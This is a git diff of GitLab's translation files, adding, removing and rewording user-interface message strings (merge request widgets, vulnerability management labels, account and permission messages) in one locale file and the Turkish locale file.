@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index a13ef43fe50..e87132e2a30 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d sabit test sonucu"
msgstr[1] "%d sabit test sonucu"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d grup"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d adet erişim yetkinizin olmadığı birleştirme talebi."
msgstr[1] "%d adet erişim yetkinizin olmadığı birleştirme talebi."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d metrik"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] "%d parça seçildi"
msgstr[1] "%d parça seçildi"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d etiket"
@@ -407,6 +419,12 @@ msgstr[1] "%s performans sorunlarını önlemek için ek işlem konulmuştur."
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} ve %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} geçersiz bir IP adresi aralığıdır"
@@ -483,6 +501,11 @@ msgstr[1] "%{name} kiÅŸisinden %{count} onay gerekli"
msgid "%{count} approvals from %{name}"
msgstr "%{name} kiÅŸisinden %{count} onay"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} dosyaya dokunuldu"
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "%{name} bulundu %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} zaten başka bir ifade için kullanılıyor"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name}, %{action} için zamanlandı"
@@ -791,9 +817,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} açık, %{closedEpics} kapalı"
@@ -818,6 +841,9 @@ msgstr "%{placeholder} geçerli bir tema değil"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} eklenemiyor: %{error}"
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}sn"
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr "%{start} - %{end}"
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr "%{total} açık sorun ağırlığı"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (birleÅŸtiremez)"
@@ -1128,6 +1157,11 @@ msgstr "(silindi)"
msgid "(revoked)"
msgstr "(iptal edildi)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "%{amount} tane daha"
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr "+%{tags} daha fazla"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", veya "
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Çatalınızdan yeni bir dal oluşturulacak ve yeni bir birleştirme talebi başlatılacak."
-
msgid "A new impersonation token has been created."
msgstr "Yeni bir kimliğe bürünme belirteci oluşturuldu."
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "%{ip} IP adresinden hesabınızda oturum açıldı."
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr "Bir yöntem seçin"
msgid "APIFuzzing|Choose a profile"
msgstr "Bir profil seçin"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Erişim Anahtarları"
msgid "Access denied for your LDAP account."
msgstr "LDAP hesabınız için erişim reddedildi."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Erişim reddedildi! Lütfen bu depoya dağıtım anahtarlarını ekleyebileceğinizi doğrulayın."
-
msgid "Access denied: %{error}"
msgstr "EriÅŸim reddedildi: %{error}"
@@ -1957,12 +1985,18 @@ msgstr "Numaralı liste ekle"
msgid "Add a related issue"
msgstr "Ä°lgili sorun ekle"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Tablo ekle"
msgid "Add a task list"
msgstr "Görev listesi ekle"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Bir yapılacak ekle"
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Dağıtım durdurma ekle"
@@ -2047,9 +2087,6 @@ msgstr "Yeni uygulama ekle"
msgid "Add new directory"
msgstr "Yeni dizin ekle"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Kullanıcıları gruba ekle"
msgid "Add variable"
msgstr "DeÄŸiÅŸken ekle"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Web kancası ekle"
@@ -2164,9 +2204,6 @@ msgstr "Yapılacaklara ekle"
msgid "Added an issue to an epic."
msgstr "EpiÄŸe bir sorun eklendi."
-msgid "Added at"
-msgstr "Tarihinde eklendi"
-
msgid "Added for this merge request"
msgstr "Bu birleştirme talebi için eklendi"
@@ -2209,8 +2246,8 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr "%{labels} %{label_text} ekler."
-msgid "Adds a Zoom meeting"
-msgstr "Zoom toplantısı ekler"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr ""
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr "EpiÄŸe bir sorun ekler."
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr "Son üyeler"
msgid "AdminArea|Maintainer"
msgstr "Sorumlu"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Yeni grup"
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "İstatistikler yüklenirken hata oluştu. Lütfen tekrar deneyin"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr "GeliÅŸmiÅŸ Ayarlar"
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Başarılı bir şifre güncellemesinden sonra giriş ekranına yönlendirileceksiniz."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Başarılı bir şifre güncellemesinden sonra, yeni şifrenizle giriş yapabileceğiniz giriş sayfasına yönlendirileceksiniz."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Bir hata oluÅŸtu"
@@ -3550,6 +3596,9 @@ msgstr "Açılır liste verileri alınırken bir hata oluştu."
msgid "An error occurred fetching the project authors."
msgstr "Proje yazarları alınırken bir hata oluştu."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Blob datanın öngösteriminde, bir hata meydana geldi"
@@ -3709,6 +3758,9 @@ msgstr "Tüm dosyalar yüklenirken bir hata oluştu."
msgid "An error occurred while loading chart data"
msgstr "Tablo verileri alınırken bir hata oluştu"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "İşlem imzaları yüklenirken bir hata oluştu"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "Bir sorun zaten var"
@@ -3930,6 +3985,9 @@ msgstr "Web uygulamanızın inceleme sürümünü analiz edin."
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr "Herhangi şifreli erişim anahtarları"
